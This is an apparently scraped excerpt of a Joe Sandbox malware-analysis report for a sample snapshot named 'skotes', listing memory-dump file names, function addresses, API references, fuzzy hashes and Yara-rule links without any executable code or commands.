Associated: 00000006.00000002.2971409393.0000000000239000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971565517.000000000023A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971704252.0000000000248000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971876959.000000000025A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2972135119.0000000000276000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2972628534.000000000027B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2972906076.000000000027C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973176679.0000000000287000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973385828.0000000000296000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973655987.0000000000297000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974951459.0000000000298000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975568741.000000000029D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976085222.00000000002A5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977097102.00000000002A6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977453674.00000000002A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977805957.00000000002AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978007406.00000000002AB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978240155.00000000002AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978438928.00000000002B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978751391.00000000002B8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978979420.00000000002D2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979169914.00000000002D4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979169914.00000000002F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979767932.000000000030F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980044507.0000000000311000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980298474.0000000000326000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980803761.0000000000327000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981443956.0000000000328000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981866701.000000000032B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2982091447.000000000032D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2982309611.000000000033D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2982484598.000000000033E000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_30000_skotes.jbxd

Yara matches

Similarity

API ID: ___std_exception_copy___std_exception_destroy
String ID: L/ds
API String ID: 2970364248-185251681
Opcode ID: 7fc0368b6971fa2a41e873a458fa4a3329fb005d6ee9de5a3026b3183c4e36f5
Instruction ID: 4b51cd8a6774064f8f772fc3019c592ce83700eae5362cdef1710e2eafd5741b
Opcode Fuzzy Hash: 7fc0368b6971fa2a41e873a458fa4a3329fb005d6ee9de5a3026b3183c4e36f5
Instruction Fuzzy Hash: AB719171E002489FDB05DFA8C885BDEFBB9FF59310F14812DE805A7242EB74A954CBA5

Function 0003DBE0 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 189COMMON

Download Yara Rule

Strings

list too long, xrefs: 0003E09D
L/ds, xrefs: 0003DBE6, 0003DD2F

Memory Dump Source

Source File: 00000006.00000002.2966373897.0000000000031000.00000040.00000001.01000000.00000007.sdmp, Offset: 00030000, based on PE: true

Associated: 00000006.00000002.2966202271.0000000000030000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2966373897.0000000000092000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967145647.0000000000099000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967354958.000000000009B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967508174.00000000000A5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967715652.00000000000A6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967871635.00000000000A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968573274.00000000001F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968749850.00000000001F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968913933.0000000000206000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968913933.0000000000214000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970057722.0000000000217000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970211495.000000000021D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970696747.0000000000225000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970935233.0000000000226000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971093443.0000000000227000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971254543.000000000022E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971409393.0000000000239000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971565517.000000000023A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971704252.0000000000248000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971876959.000000000025A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2972135119.0000000000276000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2972628534.000000000027B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2972906076.000000000027C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973176679.0000000000287000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973385828.0000000000296000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973655987.0000000000297000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974951459.0000000000298000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975568741.000000000029D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976085222.00000000002A5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977097102.00000000002A6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977453674.00000000002A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977805957.00000000002AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978007406.00000000002AB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978240155.00000000002AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978438928.00000000002B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978751391.00000000002B8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978979420.00000000002D2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979169914.00000000002D4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979169914.00000000002F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979767932.000000000030F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980044507.0000000000311000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980298474.0000000000326000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980803761.0000000000327000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981443956.0000000000328000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981866701.000000000032B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2982091447.000000000032D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2982309611.000000000033D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2982484598.000000000033E000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_30000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID: L/ds$list too long
API String ID: 0-1268949000
Opcode ID: 47cfda7aefa8b55c9126aaf0b23fb311aa90df02caa99d59a742fd6b569a2836
Instruction ID: 8fcbbdec52b04abd33f7ad3652767956c62f9ee22e373aa4bb7a0abb2d4c3378
Opcode Fuzzy Hash: 47cfda7aefa8b55c9126aaf0b23fb311aa90df02caa99d59a742fd6b569a2836
Instruction Fuzzy Hash: DC61B4B0D04654ABEB10DF64CD45B99B7B8FF05700F0082AAE80DAB282E775AA95CB55

Function 00033040 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 140COMMON

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 000330F5
__Mtx_unlock.LIBCPMT ref: 0003319B

Strings

L/ds, xrefs: 00033054

Memory Dump Source

Source File: 00000006.00000002.2966373897.0000000000031000.00000040.00000001.01000000.00000007.sdmp, Offset: 00030000, based on PE: true

Associated: 00000006.00000002.2966202271.0000000000030000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2966373897.0000000000092000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967145647.0000000000099000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967354958.000000000009B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967508174.00000000000A5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967715652.00000000000A6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967871635.00000000000A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968573274.00000000001F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968749850.00000000001F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968913933.0000000000206000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968913933.0000000000214000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970057722.0000000000217000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970211495.000000000021D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970696747.0000000000225000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970935233.0000000000226000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971093443.0000000000227000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971254543.000000000022E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971409393.0000000000239000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971565517.000000000023A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971704252.0000000000248000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971876959.000000000025A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2972135119.0000000000276000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2972628534.000000000027B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2972906076.000000000027C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973176679.0000000000287000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973385828.0000000000296000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973655987.0000000000297000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974951459.0000000000298000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975568741.000000000029D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976085222.00000000002A5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977097102.00000000002A6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977453674.00000000002A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977805957.00000000002AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978007406.00000000002AB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978240155.00000000002AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978438928.00000000002B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978751391.00000000002B8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978979420.00000000002D2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979169914.00000000002D4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979169914.00000000002F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979767932.000000000030F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980044507.0000000000311000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980298474.0000000000326000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980803761.0000000000327000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981443956.0000000000328000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981866701.000000000032B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2982091447.000000000032D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2982309611.000000000033D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2982484598.000000000033E000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_30000_skotes.jbxd

Yara matches

Similarity

API ID: Mtx_unlock
String ID: L/ds
API String ID: 1418687624-185251681
Opcode ID: fbdeecb87a91f0bcbe5505d9746eca8a14d07ea7a1217c25db0d9ca0021e0a94
Instruction ID: 1abead1f8aacb0d368af1a24f651be655fe813fd6be76c51299fe6e4b56ed0b9
Opcode Fuzzy Hash: fbdeecb87a91f0bcbe5505d9746eca8a14d07ea7a1217c25db0d9ca0021e0a94
Instruction Fuzzy Hash: 0A41F3B1A05205EFEB96DF64C984BAABBECEF05310F048179E805D7242E775DA04C7E1

Function 00047A00 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 123COMMONLIBRARYCODE

Download Yara Rule

APIs

__Cnd_destroy_in_situ.LIBCPMT ref: 00047AF8
__Mtx_destroy_in_situ.LIBCPMT ref: 00047B01

Strings

L/ds, xrefs: 00047A09, 00047A9B

Memory Dump Source

Source File: 00000006.00000002.2966373897.0000000000031000.00000040.00000001.01000000.00000007.sdmp, Offset: 00030000, based on PE: true

Associated: 00000006.00000002.2966202271.0000000000030000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2966373897.0000000000092000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967145647.0000000000099000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967354958.000000000009B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967508174.00000000000A5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967715652.00000000000A6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967871635.00000000000A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968573274.00000000001F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968749850.00000000001F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968913933.0000000000206000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968913933.0000000000214000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970057722.0000000000217000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970211495.000000000021D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970696747.0000000000225000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970935233.0000000000226000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971093443.0000000000227000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971254543.000000000022E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971409393.0000000000239000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971565517.000000000023A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971704252.0000000000248000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971876959.000000000025A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2972135119.0000000000276000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2972628534.000000000027B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2972906076.000000000027C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973176679.0000000000287000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973385828.0000000000296000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973655987.0000000000297000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974951459.0000000000298000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975568741.000000000029D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976085222.00000000002A5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977097102.00000000002A6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977453674.00000000002A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977805957.00000000002AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978007406.00000000002AB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978240155.00000000002AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978438928.00000000002B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978751391.00000000002B8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978979420.00000000002D2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979169914.00000000002D4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979169914.00000000002F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979767932.000000000030F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980044507.0000000000311000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980298474.0000000000326000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980803761.0000000000327000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981443956.0000000000328000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981866701.000000000032B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2982091447.000000000032D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2982309611.000000000033D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2982484598.000000000033E000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_30000_skotes.jbxd

Yara matches

Similarity

API ID: Cnd_destroy_in_situMtx_destroy_in_situ
String ID: L/ds
API String ID: 1432671424-185251681
Opcode ID: 59b291f1c1c99b73d438b4932aa75be685c594b57cc7bb01adecbd72728f8170
Instruction ID: ca2b42effcf2d677fb9480d9445daeaa1b8760bdcbbdc38d78131c93ce25d893
Opcode Fuzzy Hash: 59b291f1c1c99b73d438b4932aa75be685c594b57cc7bb01adecbd72728f8170
Instruction Fuzzy Hash: 9531D4F1A047049FD720DF68D845A9AB7E8EF54310F100A7EE949C7242E771EA6487E6

Function 0004A550 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 104COMMON

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 0004A5C1
__Mtx_unlock.LIBCPMT ref: 0004A60B

Strings

L/ds, xrefs: 0004A587

Memory Dump Source

Source File: 00000006.00000002.2966373897.0000000000031000.00000040.00000001.01000000.00000007.sdmp, Offset: 00030000, based on PE: true

Associated: 00000006.00000002.2966202271.0000000000030000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2966373897.0000000000092000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967145647.0000000000099000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967354958.000000000009B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967508174.00000000000A5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967715652.00000000000A6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967871635.00000000000A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968573274.00000000001F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968749850.00000000001F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968913933.0000000000206000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968913933.0000000000214000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970057722.0000000000217000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970211495.000000000021D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970696747.0000000000225000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970935233.0000000000226000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971093443.0000000000227000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971254543.000000000022E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971409393.0000000000239000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971565517.000000000023A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971704252.0000000000248000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971876959.000000000025A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2972135119.0000000000276000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2972628534.000000000027B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2972906076.000000000027C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973176679.0000000000287000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973385828.0000000000296000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973655987.0000000000297000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974951459.0000000000298000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975568741.000000000029D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976085222.00000000002A5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977097102.00000000002A6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977453674.00000000002A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977805957.00000000002AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978007406.00000000002AB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978240155.00000000002AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978438928.00000000002B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978751391.00000000002B8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978979420.00000000002D2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979169914.00000000002D4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979169914.00000000002F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979767932.000000000030F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980044507.0000000000311000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980298474.0000000000326000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980803761.0000000000327000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981443956.0000000000328000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981866701.000000000032B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2982091447.000000000032D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2982309611.000000000033D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2982484598.000000000033E000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_30000_skotes.jbxd

Yara matches

Similarity

API ID: Mtx_unlock
String ID: L/ds
API String ID: 1418687624-185251681
Opcode ID: c433270c5d0c344789d4a171e746bd046c7ff3ca0bb569adab6716047a05598b
Instruction ID: 914223683d83eb55f9f90a3ec6f7ac0f78a0feaac5e03cc41b2cf080da46e414
Opcode Fuzzy Hash: c433270c5d0c344789d4a171e746bd046c7ff3ca0bb569adab6716047a05598b
Instruction Fuzzy Hash: B2313AF1B41209EBEB10DF94CD05B9AF7B8FF05320F108279E91997282DB71A910CB96

Function 0006F1BF Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 0006F232
__freea.LIBCMT ref: 0006F298

Part of subcall function 0006B04B: RtlAllocateHeap.NTDLL(00000000,73642F4C,?,L/ds,0004D3FC,L/ds,?,00047A8B,?,?,?,?,?,?,00037465,?), ref: 0006B07D

Strings

L/ds, xrefs: 0006F1C7

Memory Dump Source

Source File: 00000006.00000002.2966373897.0000000000031000.00000040.00000001.01000000.00000007.sdmp, Offset: 00030000, based on PE: true

Associated: 00000006.00000002.2966202271.0000000000030000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2966373897.0000000000092000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967145647.0000000000099000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967354958.000000000009B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967508174.00000000000A5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967715652.00000000000A6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967871635.00000000000A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968573274.00000000001F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968749850.00000000001F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968913933.0000000000206000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968913933.0000000000214000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970057722.0000000000217000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970211495.000000000021D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970696747.0000000000225000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970935233.0000000000226000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971093443.0000000000227000.00000080.00000001.01000000.00000007.sdmpDownload File
